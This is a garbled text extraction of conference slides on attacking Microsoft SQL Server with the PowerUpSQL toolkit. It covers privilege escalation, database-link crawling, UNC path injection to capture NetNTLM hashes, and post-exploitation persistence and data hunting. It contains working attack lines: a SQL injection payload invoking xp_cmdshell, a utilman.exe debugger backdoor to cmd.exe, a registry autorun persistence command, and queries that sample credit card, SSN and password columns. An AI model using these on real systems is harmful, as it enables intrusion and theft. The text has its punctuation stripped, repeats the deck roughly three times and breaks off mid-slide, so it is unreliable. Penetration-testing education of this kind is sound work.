Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
